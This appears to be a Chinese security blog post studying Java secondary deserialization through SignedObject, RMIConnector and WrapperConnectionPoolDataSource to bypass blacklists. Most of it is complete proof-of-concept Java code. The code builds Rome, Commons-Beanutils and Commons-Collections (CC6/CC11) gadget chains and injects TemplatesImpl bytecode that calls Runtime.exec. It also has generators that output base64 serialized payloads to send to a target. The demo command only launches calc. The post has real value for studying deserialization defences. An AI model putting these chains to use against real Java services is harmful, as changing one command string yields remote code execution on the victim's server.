前言 二次反序列化大多数时候是用来绕过黑名单或者解决不出网的问题,不会作为一条单独且完整的利用链存在,而是作为一个中间节点,用来绕过。 二次反序列化一般来说有如下几个常用的利用类
SignedObject
RMIConnector
WrapperConnectionPoolDataSource
最后一个在学习 C3P0 链的时候见的很多了,其余两个都没啥印象,一个一个来学习
SignedObject 我们主要看方法 getObject 的内容 很正常的反序列化逻辑,创建字节输入流之后,加入对象输入流,之后对对象输入流调用 readObject 方法进行反序列化。序列化数据传入的参数也是可控的,实例化的时候赋值参数即可 这么一套下来感觉 SignedObject 是一个完美的二次反序列化媒介,他参数可控,并且能够包含一个 serializeObject,并将其反序列化。 现在的问题是如何调用到 SignedObject 的 getObject 方法呢?首先想到的肯定是 fastjson 和 jackson。但是这里的SignedObject 的 getter 方法并不符合 Fastjson 中对于获取 getter 方法的条件。SignedObject 中并没有直接定义 Object 属性值。所以得想另一个—Rome 反序列化
Rome toStringBean Rome 中获取 getter 方法并调用的逻辑有两处地方,ToStringBean 的有参 toString 方法,Equalsbean 的beanEquals 方法 在 rome 反序列化中我们就能够获取到类中的 getter 方法。不过也有一点条件:1.必须是 getter 形式 2.必须是无参数的 getter 方法,这两点在具体的方法– 有参 toString 中体现是最终 invoke 前的一段 if 判断,有一个不满足就会直接跳过调用阶段 显然我们的 SignedObject 符合要求。所以我们可以直接拼接到 Rome 一条完整的调用链中 比如说采用 BadAttributeValueExpException 的这一条(因为确实短),调用栈如下
1 2 3 4 SignedObject#getObject() ToStringBean#toString(String) ToStringBean#toString() BadAttributeValueExpException#readObject()
拼接之后,SignedObject 中的 this.content 就能够接任何的 readObject 入口的利用链了,比如采用CC6 那么我们的 POC 就可以构造出来了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package org.example.SignedObjectPOCs;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.security.*;import java.lang.reflect.Field;import java.security.SignedObject;import java.util.Base64;import java.util.Hashtable;public class SignedObjectPOC { public static void main (String[] args) throws Exception { CCEXP ccexp=new CCEXP (); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject=new SignedObject (ccexp.getPayload(), kp.getPrivate(),Signature.getInstance("DSA" )); ToStringBean toStringBean = new ToStringBean (SignedObject.class, signedObject); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (123 ); setFieldValue(badAttributeValueExpException,"val" ,toStringBean); ByteArrayOutputStream bs = unSerial(badAttributeValueExpException); Base64Encode(bs); } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } private static ByteArrayOutputStream unSerial (Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package org.example.SignedObjectPOCs;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CCEXP { public static HashMap getPayload () throws Exception{ Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapeEntry=new TiedMapEntry (lazymap,"aaa" ); HashMap<Object,Object> map2= new HashMap <>(); map2.put(tiedMapeEntry,"bbb" ); lazymap.remove("aaa" ); Class c=LazyMap.class; Field factoryField=c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazymap,chainedTransformer); return map2; } }
当然,二次反序列化的意义是在于绕过和解决不出网问题,所以最重要的不是这个 POC 生成的 base64 数据(用来直接打的 paylaod),而是如何去利用和拼接我们想要的部分。比如我为什么选择用 Rome 中的BadAttributeValueExpException
链来进行 POC 的组成,其中一个原因就是为了绕过 hashMap 或者 hashtable 的限制。
equalsBean equalsBean 具体获取 getter 方法并调用的逻辑如下(beanEquals 方法),因为是 euqals 比较方法,所以相较于 toStringBean 的 toString 方法,会有两次 invoke 调用。前置条件是一样的:1.必须是 getter 形式 2.必须是无参数的 getter 方法 这里的 bean1 和 bean2 也是可控的。bean1 是初始化 EqualsBean 得到的,但其实作为属性值,它也能够通过反射写入,bean2 是我们调用 beanEquals(obj) 方法时的参数 那么这里的思路就是让 bean1 或者 bean2 为 SignedObject。我们可以通过反射写入,让 bean1 直接赋值为 SignedObject。bean2 由于 equalsbean 本身的在构造时有一些逻辑为了满足条件,我们恰好让传入的bean2 变成了SignedObject。 这里所涉及的 equalsbean 调用链的部分还有一些逻辑需要好好分析,不过篇幅原因,可以参考之前专门分析 Rome 链的笔记:https://stoocea.github.io/post/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html#0x06-EqualsBean%E9%93%BE POC 可以构造为如下形式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package org.example.SignedObjectPOCs;import com.sun.syndication.feed.impl.EqualsBean;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.example.CCEXP;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.*;public class SignedObjectPOC2 { public static void main (String[] args) throws Exception{ CCEXP ccexp=new CCEXP (); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject=new SignedObject (ccexp.getPayloadCC6(), kp.getPrivate(), Signature.getInstance("DSA" )); EqualsBean bean = new EqualsBean (String.class, "s" ); HashMap map1 = new HashMap (); HashMap map2 = new HashMap (); map1.put("yy" , bean); map1.put("zZ" , signedObject); map2.put("zZ" , bean); map2.put("yy" , signedObject); HashSet hashSet=new HashSet (); hashSet.add(map1); hashSet.add(map2); setFieldValue(bean, "_beanClass" ,SignedObject.class); setFieldValue(bean, "_obj" ,signedObject); ByteArrayOutputStream baos=unSerial(hashSet); Base64Encode(baos); } private static ByteArrayOutputStream unSerial (Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } }
CCEXP 的生成内容是一样的 还有其他的关于 getter 方法调用的途径,下面分析 commons-beanutils 也就是 CB 链的结合
Commons-Beanutils CB 链的 compare 方法中有获取对象属性值的操作,本质还是通过 get 方法获取的,o1 和 o2 都是直接通过传参形式传入的,可控。 最终 sink 点在 getSimpleProperty 的 invokeMethod 中
那么这里还是按照 CC2 和 CC4 的思路,通过优先队列 PriorityQueque 的反序列化入口。但是有一个地方需要注意:最终调用siftDownUsingComparator 到时,我们必须要让 comparator 等于 BeanComparator,并且要将 x 变量赋值为 SignedObject。这里为什么不选择上一个 comparator 呢?c 变量赋值很好实现,我们反射写 queue 即可,但其实我们在 if (right < size
的时候就不满足条件了,这里 size 我们不能通过 add 方法往Queque 里面填元素实现递增,序列化的时候会报错数组越界 所以只能够通过第二个 comparator 的 comapare 实现,反射写入 x 值即可。x 怎么赋值进去呢?观察下面的变量传递 这里我们反射写入 queue[SignedObject,null]
即可,queue 属性值本身就是一个数组 还有一个需要注意的点,beanComparator 的调用流程,最终调用哪个的 getter 取决于property
属性值,所以还要反射写入property=object
,之后才能调用到 getObject POC 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package org.example.SignedObjectPOCs;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;import org.example.CCEXP;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.Base64;import java.util.PriorityQueue;public class SignedObjectPOC3 { public static void main (String[] args) throws Exception { CCEXP ccexp=new CCEXP (); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject=new SignedObject (ccexp.getPayloadCC11(), kp.getPrivate(), Signature.getInstance("DSA" )); BeanComparator beanComparator = new BeanComparator (); PriorityQueue priorityQueue = new PriorityQueue <>(beanComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); setFieldValue(beanComparator,"property" ,"object" ); setFieldValue(priorityQueue,"queue" ,new Object []{signedObject,null }); unSerial(priorityQueue); } private static ByteArrayOutputStream unSerial (Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } }
RmiConnector sink 点在 RmiConnector 的 findRMIServerJRMP
中,具体的反序列化流是通过传递序列化字符串 base64,然后对其解码,作为 ByteArray 输入流,然后判断是否有 loader,没有 loader 就直接创建对象输入流进行 readObject 往上寻找其调用 这里要进入 findRMIServerJRMP 就必须满足if (path.startsWith("/stub/"))
的情况。path 是通过 directoryURL 传入的,还是得向上寻找 这里就能够找到directoryURL 的具体传值了,我们能够通过反射写入 jmxServiceURL 的 urlPath 任意控制directoryURL,那 if 判断就很好过了,但是 base64 编码的序列化字节码如何传递呢?其实也是通过 jmxServiceURL 的 urlPath。我们观察findRMIServerJRMP(path.substring(6,end), environment, isIiop);
base64 字符串是通过截取后六位的字符传入的,前六位是什么—-/stub/
,所以我们反射写入如的时候只需要在/stub/
之后添加我们的 base64 字节码即可。最后用 InvokerTransformer 调用即可,也就是 CC 入口或者其他的 readObject 入口填充,最终流入InvokerTransformer 的时候具体 invoke 的对象是 RMIConnector,方法是 connect POC 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package org.example.RmiConnectorPOCs;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class RmiConnectorPOC1 { public static void main (String[] args) throws Exception { JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" ); RmipayloadGenerator rmipayloadGenerator=new RmipayloadGenerator (); setFieldValue(jmxServiceURL,"urlPath" ,"/stub/" +rmipayloadGenerator.getbase64CC11payload()); RMIConnector rmiConnector=new RMIConnector (jmxServiceURL,null ); InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); HashMap<String, String> innerMap = new HashMap <>(); Map<Object,Object> m = LazyMap.decorate(innerMap, transformer); HashMap outerMap = new HashMap (); TiedMapEntry tied = new TiedMapEntry (m,rmiConnector); outerMap.put(tied, "t" ); innerMap.clear(); setFieldValue(transformer, "iMethodName" , "connect" ); unSerial(outerMap); } private static ByteArrayOutputStream unSerial (Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package org.example.RmiConnectorPOCs;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class RmipayloadGenerator { public static String getbase64CC11payload () throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");" ); byte [] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templates, "_name" , "t" ); InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); HashMap<String, String> innerMap = new HashMap <>(); Map<Object,Object> m = LazyMap.decorate(innerMap, transformer); HashMap outerMap = new HashMap (); TiedMapEntry tied = new TiedMapEntry (m, templates); outerMap.put(tied, "t" ); innerMap.clear(); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream aos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (aos); oos.writeObject(outerMap); oos.flush(); oos.close(); return Base64Encode(aos); } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } private static String Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); return s; } }
稍微修改了一下 CC11 的 hashmap 生成逻辑,不过区别不大了
wrapperConnectionPoolDataSource 具体就不谈了,参考 C3P0 wrapperConnectionPoolDataSource 链分析即可https://stoocea.github.io/post/C3P0%E9%93%BE%E5%88%86%E6%9E%90.html#1x01-%E5%88%9D%E6%AD%A5%E5%85%A5%E5%8F%A3%E2%80%94WrapperConnectionPoolDataSource
后记 五月份算是比较痛苦的一段时间,一直没有精力或者时间去学习新知识,一直在干活。6 月初好歹闲下来了,继续学,状态稍微回来了一点